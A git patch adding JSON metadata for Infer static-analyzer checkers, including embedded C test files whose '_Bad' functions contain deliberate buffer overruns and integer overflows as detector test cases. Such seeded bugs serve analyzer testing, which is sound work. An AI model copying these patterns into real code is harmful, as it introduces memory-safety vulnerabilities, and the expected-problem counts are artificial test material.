From a15b0bab0eef8f41a89dbc39b60d59af55ea5268 Mon Sep 17 00:00:00 2001 From: Meiosis <145437200+Meiosis-Poor@users.noreply.github.com> Date: Sat, 2 Aug 2025 17:22:47 +0800 Subject: [PATCH 1/7] Add files via upload infer --- .../bufferoverrun/BufferOverrunAnalysis.json | 16 + .../bufferoverrun/BufferOverrunChecker.json | 401 +++++ .../checkers/AnnotationReachability.json | 17 + .../checkers/checkers/DisjunctiveDemo.json | 15 + .../checkers/checkers/Impurity.json | 96 ++ .../checkers/InefficientKeysetIterator.json | 22 + .../checkers/checkers/Lineage.json | 15 + .../checkers/checkers/LineageShape.json | 15 + .../checkers/checkers/Liveness.json | 34 + .../checkers/ParameterNotNullChecked.json | 15 + .../checkers/checkers/PurityAnalysis.json | 16 + .../checkers/checkers/PurityChecker.json | 59 + .../checkers/checkers/SILValidation.json | 15 + .../checkers/checkers/SIOF.json | 100 ++ .../checkers/checkers/ScopeLeakage.json | 82 + .../checkers/checkers/SelfInBlock.json | 15 + .../StaticConstructorStallChecker.json | 15 + .../checkers/concurrency/Starvation.json | 299 ++++ .../checkers/cost/ConfigImpactAnalysis.json | 16 + .../Rule formation/checkers/cost/Cost.json | 17 + .../Rule formation/checkers/pulse/Pulse.json | 1519 +++++++++++++++++ .../Rule formation/checkers/topl/Topl.json | 156 ++ .../checkers/unknown/FragmentRetainsView.json | 15 + .../checkers/unknown/LithoRequiredProps.json | 15 + .../checkers/unknown/LoopHoisting.json | 16 + .../checkers/unknown/RacerD.json | 263 +++ .../unknown/ResourceLeakLabExercise.json | 15 + .../Rule formation/groups/bufferoverrun.json | 8 + .../infer/Rule formation/groups/checkers.json | 21 + .../Rule formation/groups/concurrency.json | 7 + .../infer/Rule formation/groups/cost.json | 8 + .../Rule formation/groups/integration.json | 11 + .../infer/Rule formation/groups/pulse.json | 7 + .../infer/Rule formation/groups/topl.json | 7 + .../infer/Rule formation/main/infer-main.json | 6 + .../Rule formation/modules/infer-modules.json | 13 + .../infer/Scripts/infer-checkers.py | 140 ++ .../infer/Scripts/infer-groups.py | 42 + .../infer/Scripts/infer-modules.py | 45 + 39 files changed, 3594 insertions(+) create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/BufferOverrunAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/BufferOverrunChecker.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/AnnotationReachability.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/DisjunctiveDemo.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/Impurity.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/InefficientKeysetIterator.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/Lineage.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/LineageShape.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/Liveness.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/ParameterNotNullChecked.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/PurityAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/PurityChecker.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SILValidation.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SIOF.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/ScopeLeakage.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SelfInBlock.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/StaticConstructorStallChecker.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/concurrency/Starvation.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/ConfigImpactAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/Cost.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/pulse/Pulse.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/topl/Topl.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/FragmentRetainsView.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/LithoRequiredProps.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/LoopHoisting.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/RacerD.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/ResourceLeakLabExercise.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/groups/bufferoverrun.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/groups/checkers.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/groups/concurrency.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/groups/cost.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/groups/integration.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/groups/pulse.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/groups/topl.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/main/infer-main.json create mode 100644 Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-modules.json create mode 100644 Raw Data/Static Analysis Tool/infer/Scripts/infer-checkers.py create mode 100644 Raw Data/Static Analysis Tool/infer/Scripts/infer-groups.py create mode 100644 Raw Data/Static Analysis Tool/infer/Scripts/infer-modules.py diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/BufferOverrunAnalysis.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/BufferOverrunAnalysis.json new file mode 100644 index 0000000..7cb8494 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/BufferOverrunAnalysis.json @@ -0,0 +1,16 @@ +{ + "name": "BufferOverrunAnalysis", + "language": [ + "clang", + "java" + ], + "description": "Internal part of the buffer overrun analysis that computes values at each program \\\n point, automatically triggered when analyses that depend on these are run.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 513, + "branches": 47, + "apis": 103, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/BufferOverrunChecker.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/BufferOverrunChecker.json new file mode 100644 index 0000000..5e02f56 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/BufferOverrunChecker.json @@ -0,0 +1,401 @@ +{ + "name": "BufferOverrunChecker", + "language": [ + "clang", + "java" + ], + "description": "InferBO is a detector for out-of-bounds array accesses.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 413, + "branches": 21, + "apis": 49, + "test": [ + { + "testname": "arith.c", + "testlanguage": "c", + "expected-problems": 218, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nvoid modulo_signed_Bad(int i) {\n char arr[5];\n arr[i % 5] = 123;\n}\n\nvoid modulo_signed_Good(int i) {\n char arr[5];\n if (i >= 0) {\n arr[i % 5] = 123;\n }\n}\n\nvoid modulo_signed_neg_Bad(int i) {\n char arr[5];\n arr[i % -5] = 123;\n}\n\nvoid modulo_signed_neg_Good(int i) {\n char arr[5];\n if (i >= 0) {\n arr[i % -5] = 123;\n }\n}\n\nvoid modulo_signed_Good2(int i) {\n char arr[5];\n int j = i % 5;\n if (j >= 0) {\n arr[j] = 123;\n }\n}\n\nvoid modulo_unsigned_Good(unsigned int i) {\n char arr[5];\n arr[i % 5] = 123;\n}\n\nvoid modulo_unsigned_short_Good(uint16_t i) {\n char arr[5];\n arr[i % 5] = 123;\n}\n\nvoid modulo_signed_var_Bad_FN(unsigned int len, int i) {\n char arr[len];\n arr[i % len] = 123;\n}\n\nvoid modulo_unsigned_var_Good(unsigned int len, unsigned int i) {\n char arr[len];\n arr[i % len] = 123;\n}\n\nunsigned int modulo_unsigned(unsigned int a, unsigned int b) { return a % b; }\n\nvoid modulo_call_Good(unsigned int len, unsigned int i) {\n char arr[len];\n arr[modulo_unsigned(i, len)] = 123;\n}\n\nint modulo_signed(int a, int b) { return a % b; }\n\nvoid modulo_call_Bad_FN(unsigned int len, int i) {\n char arr[len];\n arr[modulo_signed(i, len)] = 123;\n}\n\nint division_of_zero_Good(int x) {\n int i = 4 * x;\n i /= 2;\n i /= 2;\n return i;\n}\n\n/* While the most precise return value is\n - \"2*i+1\" if 0 <= i < 10,\n - \"0\" o.w.\n Inferbo returns [1+min(-1,s0),10+max(-10,s1)] where i is [s0,s1]. */\nint plus_linear_min(int i) { /* i |-> [s0,s1] */\n int linear = i + 1; /* linear |-> [s0+1,s1+1] */\n if (i >= 0 && i < 10) { /* i |-> [max(0,s0),min(9,s1)] */\n return linear + i; /* return |-> [s0+1,s1+10] */\n }\n return 0;\n}\n\nvoid plus_linear_min_Good() {\n int a[20];\n a[plus_linear_min(9)] = 1;\n}\n\nvoid plus_linear_min_Bad() {\n int a[19];\n a[plus_linear_min(9)] = 1;\n}\n\nvoid plus_linear_min2_Good_FP() {\n int a[10];\n a[plus_linear_min(4)] = 1;\n}\n\nvoid plus_linear_min3_Good_FP() {\n int a[20];\n a[plus_linear_min(15)] = 1;\n}\n\nvoid integer_overflow_by_addition_Bad() {\n char arr[10];\n int32_t x = 2000000000;\n int32_t y = 2000000000;\n int32_t z = x + y; // z is a negative number.\n if (z < 10) {\n arr[z] = 0;\n }\n}\n\nvoid integer_overflow_by_addition_l2_Bad(int x) {\n int32_t y;\n if (x) {\n y = 0;\n } else {\n y = 2000000000;\n }\n y = y + y;\n}\n\nvoid integer_overflow_by_subtraction_Bad() {\n char arr[10];\n int32_t x = -2000000000;\n int32_t y = 2000000000;\n int32_t z = x - y; // z is a big positive number.\n if (z >= 0) {\n arr[z] = 0;\n }\n}\n\nvoid integer_overflow_by_multiplication_Bad() {\n char arr[10];\n int32_t x = 300000;\n int32_t y = 300000;\n int32_t z = x * y; // z is a negative number.\n if (z < 10) {\n arr[z] = 0;\n }\n}\n\nvoid use_int64_max_Good() {\n char arr[10];\n int64_t x = INT64_MAX;\n int64_t y = INT64_MAX - 5;\n arr[x - y] = 0;\n}\n\nvoid use_int64_max_Bad() {\n char arr[10];\n int64_t x = INT64_MAX;\n int64_t y = INT64_MAX - 15;\n arr[x - y] = 0;\n}\n\nvoid use_uint64_max_Good() {\n char arr[10];\n uint64_t x = UINT64_MAX;\n uint64_t y = UINT64_MAX - 5;\n arr[x - y] = 0;\n}\n\nvoid use_uint64_max_Bad() {\n char arr[10];\n uint64_t x = UINT64_MAX;\n uint64_t y = UINT64_MAX - 15;\n arr[x - y] = 0;\n}\n\nuint64_t unknown_uint();\n\nvoid muliply_one_Good() {\n uint64_t x = unknown_uint();\n uint64_t y = x * 1;\n}\n\nvoid muliply_two_Bad() {\n uint64_t x = unknown_uint();\n uint64_t y = x * 2;\n}\n\nvoid minus_one_Good() {\n uint64_t x = unknown_uint();\n if (x > 0) {\n uint64_t y = x - 1;\n }\n}\n\nvoid minus_one_Bad() {\n uint64_t x = unknown_uint();\n if (x >= 0) {\n uint64_t y = x - 1;\n }\n}\n\nint64_t unknown_int();\n\nvoid plus_one_Good() {\n int64_t x = unknown_int();\n if (x < INT64_MAX) {\n int64_t y = x + 1;\n }\n}\n\nvoid plus_one_Bad() {\n int64_t x = unknown_int();\n if (x <= INT64_MAX) {\n int64_t y = x + 1;\n }\n}\n\nvoid minus_minimum_Good() {\n int64_t x = -1;\n int64_t y = x - INT64_MIN;\n}\n\nvoid minus_minimum_Bad() {\n int64_t x = 0;\n int64_t y = x - INT64_MIN;\n}\n\nvoid mult_minimum_Good() {\n int64_t x = 1;\n int64_t y = x * INT64_MIN;\n}\n\nvoid mult_minimum_Bad() {\n int64_t x = -1;\n int64_t y = x * INT64_MIN;\n}\n\nvoid unsigned_prune_zero1_Good(unsigned int x) {\n if (x != 0) {\n unsigned int y = x - 1;\n }\n}\n\nvoid call_unsigned_prune_zero1_Good() { unsigned_prune_zero1_Good(0); }\n\nvoid unsigned_prune_zero2_Good(unsigned int y) {\n unsigned int x = y;\n for (; x; --x) {\n }\n}\n\nvoid call_unsigned_prune_zero2_Good() { unsigned_prune_zero2_Good(0); }\n\nvoid unsigned_prune_ge1_Good(unsigned int x, unsigned int y) {\n if (x >= y) {\n unsigned int z = x - y;\n }\n}\n\nvoid call_unsigned_prune_ge1_Good() { unsigned_prune_ge1_Good(0, 1); }\n\nvoid unsigned_prune_ge2_Good(unsigned int x, unsigned int y) {\n if (y > 0) {\n if (x >= y) {\n unsigned int z = x - 1;\n }\n }\n}\n\nvoid call_unsigned_prune_ge2_Good() { unsigned_prune_ge2_Good(0, 1); }\n\nvoid unsigned_prune_ge3_Good(unsigned int x, unsigned int y) {\n if (y > 0) {\n if (x >= y + 1) {\n unsigned int z = x - 1;\n }\n }\n}\n\nvoid call_unsigned_prune_ge3_Good() { unsigned_prune_ge3_Good(0, 1); }\n\nvoid unsigned_prune_gt(unsigned int x, unsigned int y) {\n if (x > 0) {\n unsigned int z = x - y;\n }\n}\n\nvoid call_unsigned_prune_gt_Good() { unsigned_prune_gt(0, 3); }\n\nvoid minmax_div_const_Good(int n) {\n int a[9];\n if (0 < n && n < 65) {\n int x = a[n / 8];\n }\n}\n\nvoid minmax_div_const_Bad(int n) {\n int a[7];\n if (0 < n && n < 65) {\n int x = a[n / 8];\n }\n}\n\nvoid div_const_Good() {\n int a[3];\n int x = 5 / 2;\n a[x] = 0;\n}\n\nvoid div_const_Bad() {\n int a[2];\n int x = 5 / 2;\n a[x] = 0;\n}\n\nvoid div_const2_FP(int n) {\n int a[1];\n int x = (n * 2 + 1) / 2;\n a[x] = 0;\n}\n\nvoid minmax_div_const2_Good() {\n div_const2(-1);\n div_const2(0);\n}\n\nvoid minmax_div_const2_Bad_FN() {\n div_const2(1);\n div_const2(-2);\n}\n\nuint32_t unknown_nat() {\n uint32_t x = unknown_function();\n if (x >= 0) {\n return x;\n } else {\n return 0;\n }\n}\n\nvoid two_safety_conditions2_Bad(uint32_t s) {\n uint32_t x = unknown_nat();\n uint32_t y, z;\n\n if (unknown_function()) {\n y = 0;\n } else {\n y = 80;\n }\n z = x + y; // integer overflow L5: [0, +oo] + [0, 80]\n\n if (s >= 10 && s <= 20) {\n z = x + s; // [0, +oo] + [max(10, s.lb), min(20, s.ub)]\n }\n}\n\nvoid call_two_safety_conditions2_Bad() {\n two_safety_conditions2_Bad(15); // integer overflow L5: [0, +oo] + 15\n}\n\nvoid band_positive_constant_Good() {\n char a[3];\n int x = 6 & 2; // y is 2\n a[x] = 0;\n}\n\nvoid band_positive_constant_Bad() {\n char a[2];\n int x = 6 & 2; // y is 2\n a[x] = 0;\n}\n\nvoid band_negative_constant_Good() {\n char a[1];\n int x = (-3) & (-2); // x is -4\n a[x + 4] = 0;\n}\n\nvoid band_negative_constant_Bad() {\n char a[1];\n int x = (-3) & (-2); // x is -4\n a[x + 5] = 0;\n}\n\nvoid band_constant_Good() {\n char a[2];\n int x = (-3) & 1; // x is 1\n a[x] = 0;\n}\n\nvoid band_constant_Bad() {\n char a[1];\n int x = (-3) & 1; // x is 1\n a[x] = 0;\n}\n\nvoid band_positive_Good() {\n char a[9];\n int x = unknown_nat();\n int y = unknown_nat();\n if (x <= 10 && y <= 8) {\n int z = x & y; // z is [0, 8]\n a[z] = 0;\n }\n}\n\nvoid band_positive_Bad() {\n char a[5];\n int x = unknown_nat();\n int y = unknown_nat();\n if (x <= 10 && y <= 8) {\n int z = x & y; // z is [0, 8]\n a[z] = 0;\n }\n}\n\nvoid band_negative_Good() {\n char a[3];\n int x = unknown_function();\n int y = unknown_function();\n if (x <= -3 && y <= -2) {\n int z = x & y; // z is [-oo, -3]\n z = z + 5; // z is [-oo, 2]\n if (z >= 0) {\n a[z] = 0;\n }\n }\n}\n\nvoid band_negative_Bad() {\n char a[2];\n int x = unknown_function();\n int y = unknown_function();\n if (x <= -3 && y <= -2) {\n int z = x & y; // z is [-oo, -3]\n z = z + 5; // z is [-oo, 2]\n if (z >= 0) {\n a[z] = 0;\n }\n }\n}\n\n#define FOUR_GIGABYTES 0xFFFFFFFF\n#define ALMOST_FOUR_GIGABYTES (85 * FOUR_GIGABYTES / 100)\n\nvoid simple_overflow_Bad() { auto x = ALMOST_FOUR_GIGABYTES; }\n\nunsigned int unused_integer_underflow_Good_FP() {\n unsigned int n = 0;\n if (n-- == 0) {\n return 0;\n } else {\n return n;\n }\n}\n\nunsigned int unused_integer_underflow_Bad() {\n unsigned int n = 0;\n if (n-- == 0) {\n return n;\n } else {\n return n;\n }\n}\n\nunsigned int unused_integer_underflow2_Good_FP() {\n unsigned int n = 0;\n return n--;\n}\n\nunsigned int unused_integer_underflow2_Bad() {\n unsigned int n = 0;\n return --n;\n}\n\nvoid recover_integer_underflow_Good_FP() {\n for (unsigned int i = 0; i < 10; i++) {\n if (unknown_function()) {\n i--; // right after this, i++ will be called.\n }\n }\n}\n\nvoid recover_integer_underflow_Bad() {\n for (unsigned int i = 0; i < 10; i++) {\n if (unknown_function()) {\n i -= 2;\n }\n }\n}\n\nunsigned long scan_hex_Good(char* cp) {\n unsigned long num_digits = 0, digit, val = 0;\n while (1) {\n digit = *cp;\n if ((digit - '0') <= 9)\n digit -= '0';\n else if ((digit - 'a') < 6)\n digit -= 'a' - 10;\n else if ((digit - 'A') < 6)\n digit -= 'A' - 10;\n else\n break;\n val = (val << 4) | digit;\n ++cp;\n }\n return val;\n}\n\nvoid call_scan_hex_Good_FP() {\n char* cp = \"\\0\";\n scan_hex_Good(cp);\n}\n\nvoid call_scan_hex2_Good_FP() {\n char* cp = \"0aA\";\n scan_hex_Good(cp);\n}\n\nint check_addition_overflow_Good(unsigned int x, unsigned int y) {\n if (((unsigned int)-1) - x < y) {\n return 1;\n } else {\n return 0;\n }\n}\n\nvoid shift_right_zero_Good(int x) {\n int arr[1];\n arr[0 >> x] = 1;\n}\n\nvoid shift_right_zero_Bad(int x) {\n int arr[1];\n arr[1 + (0 >> x)] = 1;\n}\n\n#define INTENDED_INTEGER_UNDERFLOW (0ULL - 2)\n\nvoid use_intended_integer_underflow_Good() {\n unsigned long long x = INTENDED_INTEGER_UNDERFLOW;\n}\n\nvoid ptr_band1_Bad(int x, int* q) {\n int a[5];\n int* p;\n if (x) {\n p = q;\n } else {\n p = 0;\n }\n if ((int)p & x) {\n a[10] = 0;\n }\n}\n\nvoid ptr_band2_Bad(int x, int* q) {\n int a[5];\n int* p;\n if (x) {\n p = q;\n } else {\n p = 0;\n }\n if ((int)p & x) {\n }\n a[10] = 0;\n}\n\nvoid do_not_prune_float_Good_FP() {\n int a[5];\n float f = 0.5;\n if (f > 1.0 && f < 1.0) {\n a[10] = 0;\n }\n}\n\nvoid do_not_prune_float_Bad() {\n int a[5];\n float f = 0.5;\n if (f > 0.0 && f < 1.0) {\n a[10] = 0;\n }\n}\n" + }, + { + "testname": "array_content.c", + "testlanguage": "c", + "expected-problems": 106, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nint check_sorted_arr_good(int a[], int length) {\n for (int i = 1; i < length; i++) {\n if (a[i] < a[i - 1]) { // should not report CONDITION_ALWAYS_FALSE\n return 0;\n }\n }\n return 1;\n}\n\nint check_sorted_arr10_good(int a[10], int length) {\n for (int i = 1; i < length; i++) {\n if (a[i] < a[i - 1]) { // should not report CONDITION_ALWAYS_FALSE\n return 0;\n }\n }\n return 1;\n}\n\nint check_sorted_ptr_good(int* a, int length) {\n for (int i = 1; i < length; i++) {\n if (a[i] < a[i - 1]) { // should not report CONDITION_ALWAYS_FALSE\n return 0;\n }\n }\n return 1;\n}\n\nint array_min_index_from_one(int* a, int length) {\n int index_min = 1;\n for (int i = 2; i < length; i++) {\n if (a[i] < a[index_min]) { // should not report CONDITION_ALWAYS_FALSE\n index_min = i;\n } else {\n index_min = i;\n }\n }\n return index_min;\n}\n\n/*\n We need either a narrowing or a relational domain to prove that\n index_min < length\n*/\nvoid call_array_min_index_from_one_good() {\n int a[2];\n a[array_min_index_from_one(a, 2) - 1] = 0;\n}\n\nvoid weak_update_Good_FP() {\n int a[10] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 15};\n a[a[3]] = 3;\n}\n\nvoid weak_update_Bad() {\n int a[10] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9};\n if (a[0] == 0) {\n a[15] = 1;\n }\n}\n\nvoid strong_update_malloc_Good() {\n int a[10];\n int* x = (int*)malloc(sizeof(int));\n *x = 10;\n *x = 0;\n a[*x] = 0;\n}\n\nvoid strong_update_malloc_Bad() {\n int a[10];\n int* x = (int*)malloc(sizeof(int));\n *x = 0;\n *x = 10;\n a[*x] = 0;\n}\n\nvoid weak_update_malloc_Good_FP() {\n int a[10];\n int* x = (int*)malloc(sizeof(int) * 2);\n x[0] = 0;\n x[1] = 10;\n a[x[0]] = 0;\n}\n\nvoid weak_update_malloc_Bad() {\n int a[10];\n int* x = (int*)malloc(sizeof(int) * 2);\n x[0] = 0;\n x[1] = 10;\n a[x[1]] = 0;\n}\n\nvoid weak_update_malloc2_Bad_FN() {\n int a[10];\n int* x = (int*)malloc(sizeof(int) * 2);\n x[0] = 0;\n a[x[1]] = 0;\n}\n\nvoid literal_string_Good() {\n int a[1];\n char* s = \"hello\";\n for (int i = 0; i < 5; i++) {\n if (s[i] > 'o') {\n a[s[i]] = 0;\n }\n }\n}\n\nvoid literal_string_bad() {\n int a[1];\n char* s = \"hello\";\n for (int i = 0; i < 5; i++) {\n if (s[i] > 'n') {\n a[s[i]] = 0;\n }\n }\n}\n\nvoid literal_string2_Good() {\n int a[1];\n char s[] = \"hello\";\n for (int i = 0; i < 5; i++) {\n if (s[i] > 'o') {\n a[s[i]] = 0;\n }\n }\n}\n\nvoid literal_string2_bad() {\n int a[1];\n char s[] = \"hello\";\n for (int i = 0; i < 5; i++) {\n if (s[i] > 'n') {\n a[s[i]] = 0;\n }\n }\n}\n\nvoid literal_string_parameter(char* s) {\n int a[112]; // 'o' is 111, 'p' is 112\n a[s[0]] = 0;\n}\n\nvoid call_literal_string_parameter1_Good() {\n char* s = \"hello\";\n literal_string_parameter(s);\n}\n\nvoid call_literal_string_parameter1_Bad() {\n char* s = \"hellp\";\n literal_string_parameter(s);\n}\n\nvoid call_literal_string_parameter2_Good() {\n literal_string_parameter(\"hello\");\n}\n\nvoid call_literal_string_parameter2_Bad() { literal_string_parameter(\"hellp\"); }\n\nvoid strlen_constant_Good() {\n int a[10];\n char* s = \"hello\";\n a[strlen(s)] = 0;\n}\n\nvoid strlen_constant_Bad() {\n int a[5];\n char* s = \"hello\";\n a[strlen(s)] = 0;\n}\n\nvoid strlen_malloc_Good() {\n int a[10];\n char* s = (char*)malloc(sizeof(char) * 6);\n s[0] = 'h';\n s[1] = 'e';\n s[2] = 'l';\n s[3] = 'l';\n s[4] = 'o';\n s[5] = '\\0';\n a[strlen(s)] = 0;\n}\n\nvoid strlen_malloc_Bad() {\n int a[5];\n char* s = (char*)malloc(sizeof(char) * 6);\n s[0] = 'h';\n s[1] = 'e';\n s[2] = 'l';\n s[3] = 'l';\n s[4] = 'o';\n s[5] = '\\0';\n a[strlen(s)] = 0;\n}\n\nvoid strlen_malloc_2_Good_FP() {\n int a[5];\n char* s = (char*)malloc(sizeof(char) * 6);\n s[0] = 'h';\n s[1] = 'e';\n s[2] = '\\0';\n s[3] = 'l';\n s[4] = 'o';\n s[5] = '\\0';\n a[strlen(s)] = 0;\n}\n\nvoid fgets_null_check_Good() {\n char line[100];\n while (fgets(line, 100, stdin)) {\n line[strlen(line) - 1] = 0;\n }\n}\n\nvoid fgets_null_check_Bad() {\n char line[100];\n while (fgets(line, 100, stdin)) {\n line[strlen(line) - 2] = 0;\n }\n}\n\nstatic char file_buf[] = \"foo\";\n\nvoid fgets_may_not_change_str_Good_FP() {\n FILE* stream = fmemopen(file_buf, strlen(file_buf), \"r\");\n fgetc(stream);\n fgetc(stream);\n fgetc(stream);\n char buf[6] = \"aaaaa\";\n // end-of-file is encountered, thus [buf] should not change.\n fgets(buf, 6, stream);\n int a[5];\n a[9 - strlen(buf)] = 0;\n}\n\nvoid fgets_may_not_change_str_Bad() {\n FILE* stream = fmemopen(file_buf, strlen(file_buf), \"r\");\n fgetc(stream);\n fgetc(stream);\n fgetc(stream);\n char buf[6] = \"aaaaa\";\n // end-of-file is encountered, thus [buf] should not change.\n fgets(buf, 6, stream);\n int a[5];\n a[strlen(buf)] = 0;\n}\n" + }, + { + "testname": "array_dynlength.c", + "testlanguage": "c", + "expected-problems": 4, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nvoid init_variable_array(int len) {\n int x = 2 * len;\n int a[len + x + 1];\n a[len + x + 1] = 0;\n}\n" + }, + { + "testname": "array_field.c", + "testlanguage": "c", + "expected-problems": 9, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nstruct S1 {\n int f[2];\n};\n\nvoid array_field_access_Good(struct S1 x, struct S1 y) {\n int a[10];\n x.f[0] = 1;\n y.f[0] = 20;\n a[x.f[0]] = 0;\n}\n\nvoid array_field_access_Bad(struct S1 x, struct S1 y) {\n int a[10];\n y.f[0] = 20;\n x.f[0] = 1;\n a[y.f[0]] = 0;\n}\n\nvoid decreasing_pointer_Good(struct S1* x) {\n int* p = &(x->f[1]);\n p--;\n *p = 0;\n}\n\nvoid decreasing_pointer_Bad(struct S1* x) {\n int* p = &(x->f[1]);\n p--;\n p--;\n *p = 0;\n}\n" + }, + { + "testname": "array_multidim.c", + "testlanguage": "c", + "expected-problems": 28, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nvoid multidim_arr1_Good() {\n int a[2][3];\n a[1][0] = 0;\n}\n\nvoid multidim_arr1_Bad() {\n int a[2][3];\n a[2][0] = 0;\n}\n\nvoid multidim_arr2_Good() {\n int a[2][3];\n a[1][2] = 0;\n}\n\nvoid multidim_arr2_Bad() {\n int a[2][3];\n a[1][3] = 0;\n}\n\nvoid multidim_arr3_Good() {\n int a[3][2] = {\n {0, 1},\n {0, 2},\n {0, 3},\n };\n}\n\nvoid multidim_arr4_Good() {\n int a[3][2];\n int* p = a;\n *(p + 5) = 0;\n}\n\nvoid multidim_arr4_Bad() {\n int a[3][2];\n int* p = a;\n *(p + 6) = 0;\n}\n\nvoid multidim_arr5_Good() {\n int a[1][10];\n a[0][0] = 0;\n a[0][5] = 0;\n}\n\nvoid multidim_arr5_Bad() {\n int a[1][10];\n a[0][0] = 0;\n a[0][10] = 0;\n}\n\nvoid multidim_arr6_Good() {\n int a[3][2];\n int b[10];\n int* p = a;\n *p = 5;\n b[a[0][0]] = 1;\n}\n\nvoid multidim_arr6_Bad_FN() {\n int a[3][2];\n int b[5];\n int* p = a;\n *p = 5;\n b[a[0][0]] = 1;\n}\n" + }, + { + "testname": "big_array.c", + "testlanguage": "c", + "expected-problems": 4, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#define CHARS_21 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0,\n#define CHARS_147 CHARS_21 CHARS_21 CHARS_21 CHARS_21 CHARS_21 CHARS_21 CHARS_21\n#define CHARS_882 CHARS_147 CHARS_147 CHARS_147 CHARS_147 CHARS_147 CHARS_147\n#define CHARS_5292 CHARS_882 CHARS_882 CHARS_882 CHARS_882 CHARS_882 CHARS_882\n#define CHARS_26460 CHARS_5292 CHARS_5292 CHARS_5292 CHARS_5292 CHARS_5292\n\nunsigned char* big_array() {\n const unsigned char bytes[] = {CHARS_26460};\n return bytes;\n}\n\nvoid use_big_array_bad() {\n unsigned char* b = big_array();\n b[999999999] = 'Y';\n}\n" + }, + { + "testname": "break_continue_return.c", + "testlanguage": "c", + "expected-problems": 3, + "code": "/*\n * Copyright (c) 2016-present, Programming Research Laboratory (ROPAS)\n * Seoul National University, Korea\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nint break_continue_return() {\n int i = 0;\n char a[10];\n\n while (1) {\n i++;\n if (i >= 10)\n break;\n if (i < 2)\n continue;\n a[i] = 'a'; /* SAFE */\n }\n i = 0;\n while (1) {\n if (i > 10)\n return 0;\n a[i] = 'a'; /* BUG */\n i++;\n }\n return 0;\n}\n" + }, + { + "testname": "calloc.c", + "testlanguage": "c", + "expected-problems": 8, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nvoid calloc_ok1() {\n int* arr = 